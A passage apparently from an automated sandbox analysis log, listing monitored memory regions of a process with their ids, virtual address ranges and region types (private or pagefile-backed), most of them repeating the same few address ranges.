"private_0x0000000000450000" filename = "" Region: id = 9476 start_va = 0x6e0000 end_va = 0x6fdfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006e0000" filename = "" Region: id = 9477 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9478 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9479 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 9480 start_va = 0x6e0000 end_va = 0x6fdfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006e0000" filename = "" Region: id = 9481 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9482 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9483 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 9484 start_va = 0x6e0000 end_va = 0x6fdfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006e0000" filename = "" Region: id = 9485 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9486 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9487 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 9488 start_va = 0x6e0000 end_va = 0x6fdfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006e0000" filename = "" Region: id = 9489 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9490 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9491 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 9492 start_va = 0x6e0000 end_va = 0x6fdfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006e0000" filename = "" Region: id = 9493 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9494 start_va = 0x450000 end_va = 0x450fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9495 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9496 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 9497 start_va = 0x6e0000 end_va = 0x6fdfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006e0000" filename = "" Region: id = 9498 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9499 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9500 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 9501 start_va = 0x6e0000 end_va = 0x6fdfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006e0000" filename = "" Region: id = 9502 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9503 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9504 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 9505 start_va = 0x6e0000 end_va = 0x6fdfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006e0000" filename = "" Region: id = 9506 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9507 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9508 start_va = 0x450000 end_va = 0x450fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 9509 start_va = 0x2890000 end_va = 0x2989fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002890000" filename = "" Region: id = 9510 start_va = 0x6e0000 end_va = 0x6effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006e0000" filename = "" Region: id = 9511 start_va = 0x6e0000 end_va = 0x6fdfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006e0000" filename = "" Region: id = 9512 start_va = 0x2270000 end_va = 0x227efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002270000" filename = "" Region: id = 9513 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 9514 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 9515 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 9516 start_va = 0x6e0000 end_va = 0x6fdfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006e0000" filename = "" Region: id = 9517 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9518 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9519 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 9520 start_va = 0x6e0000 end_va = 0x6fdfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006e0000" filename = "" Region: id = 9521 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9522 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9523 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 9524 start_va = 0x6e0000 end_va = 0x6fdfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006e0000" filename = "" Region: id = 9525 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9526 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9527 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 9528 start_va = 0x6e0000 end_va = 0x6fdfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006e0000" filename = "" Region: id = 9529 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9530 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9531 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 9532 start_va = 0x6e0000 end_va = 0x6fdfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006e0000" filename = "" Region: id = 9533 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9534 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9535 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 9536 start_va = 0x6e0000 end_va = 0x6fdfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006e0000" filename = "" Region: id = 9541 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9542 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9543 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 9544 start_va = 0x6e0000 end_va = 0x6fdfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006e0000" filename = "" Region: id = 9545 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9546 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9548 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 9549 start_va = 0x6d0000 end_va = 0x6edfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006d0000" filename = "" Region: id = 9550 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9551 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9552 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9553 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 9554 start_va = 0x6d0000 end_va = 0x6edfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006d0000" filename = "" Region: id = 9555 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9556 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9557 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 9558 start_va = 0x6d0000 end_va = 0x6edfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006d0000" filename = "" Region: id = 9559 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9560 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9561 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 9562 start_va = 0x6d0000 end_va = 0x6edfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006d0000" filename = "" Region: id = 9563 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9564 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9565 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 9566 start_va = 0x6d0000 end_va = 0x6edfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006d0000" filename = "" Region: id = 9567 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9568 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9569 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 9570 start_va = 0x6d0000 end_va = 0x6edfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006d0000" filename = "" Region: id = 9571 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9572 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9573 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 9574 start_va = 0x6d0000 end_va = 0x6edfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006d0000" filename = "" Region: id = 9575 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9576 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9577 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 9578 start_va = 0x6d0000 end_va = 0x6edfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006d0000" filename = "" Region: id = 9579 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9580 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9581 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 9582 start_va = 0x6d0000 end_va = 0x6edfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006d0000" filename = "" Region: id = 9583 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9584 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9585 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 9586 start_va = 0x6d0000 end_va = 0x6edfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006d0000" filename = "" Region: id = 9587 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9588 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9589 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 9590 start_va = 0x6d0000 end_va = 0x6edfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006d0000" filename = "" Region: id = 9591 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9592 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9593 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 9594 start_va = 0x6d0000 end_va = 0x6edfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006d0000" filename = "" Region: id = 9595 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9596 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9598 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 9599 start_va = 0x6d0000 end_va = 0x6edfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006d0000" filename = "" Region: id = 9600 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9601 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9602 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 9603 start_va = 0x6d0000 end_va = 0x6edfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006d0000" filename = "" Region: id = 9604 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9605 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9606 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 9607 start_va = 0x6d0000 end_va = 0x6edfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006d0000" filename = "" Region: id = 9608 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9609 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9610 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 9611 start_va = 0x6d0000 end_va = 0x6edfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006d0000" filename = "" Region: id = 9612 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9613 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9614 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 9615 start_va = 0x6d0000 end_va = 0x6edfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006d0000" filename = "" Region: id = 9616 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9617 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9620 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 9621 start_va = 0x6d0000 end_va = 0x6edfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006d0000" filename = "" Region: id = 9622 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9623 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9625 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 9626 start_va = 0x6d0000 end_va = 0x6edfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006d0000" filename = "" Region: id = 9627 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9628 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9629 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 9630 start_va = 0x6d0000 end_va = 0x6edfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006d0000" filename = "" Region: id = 9631 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9632 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9633 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 9634 start_va = 0x6d0000 end_va = 0x6edfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006d0000" filename = "" Region: id = 9635 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9636 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9637 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 9638 start_va = 0x6d0000 end_va = 0x6edfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006d0000" filename = "" Region: id = 9639 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9640 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9641 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 9642 start_va = 0x6d0000 end_va = 0x6edfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006d0000" filename = "" Region: id = 9643 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9644 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9645 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 9646 start_va = 0x6d0000 end_va = 0x6edfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006d0000" filename = "" Region: id = 9647 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9648 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9649 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 9650 start_va = 0x6d0000 end_va = 0x6edfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006d0000" filename = "" Region: id = 9651 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9652 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9653 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 9654 start_va = 0x6d0000 end_va = 0x6edfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006d0000" filename = "" Region: id = 9655 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9656 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9657 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 9658 start_va = 0x6d0000 end_va = 0x6edfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006d0000" filename = "" Region: id = 9659 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9660 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9661 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 9662 start_va = 0x130d0000 end_va = 0x135c2fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000130d0000" filename = "" Region: id = 9663 start_va = 0x6d0000 end_va = 0x6edfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006d0000" filename = "" Region: id = 9664 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9665 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9666 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 9667 start_va = 0x13ad0000 end_va = 0x13fc1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000013ad0000" filename = "" Region: id = 9668 start_va = 0x6d0000 end_va = 0x6edfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006d0000" filename = "" Region: id = 9669 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9670 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9671 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 9672 start_va = 0x6d0000 end_va = 0x6d1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006d0000" filename = "" Region: id = 9673 start_va = 0x6e0000 end_va = 0x6fdfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006e0000" filename = "" Region: id = 9674 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9675 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9676 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 9677 start_va = 0x6e0000 end_va = 0x6fdfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006e0000" filename = "" Region: id = 9678 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9679 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9680 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 9681 start_va = 0x6d0000 end_va = 0x6d2fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006d0000" filename = "" Region: id = 9682 start_va = 0x6e0000 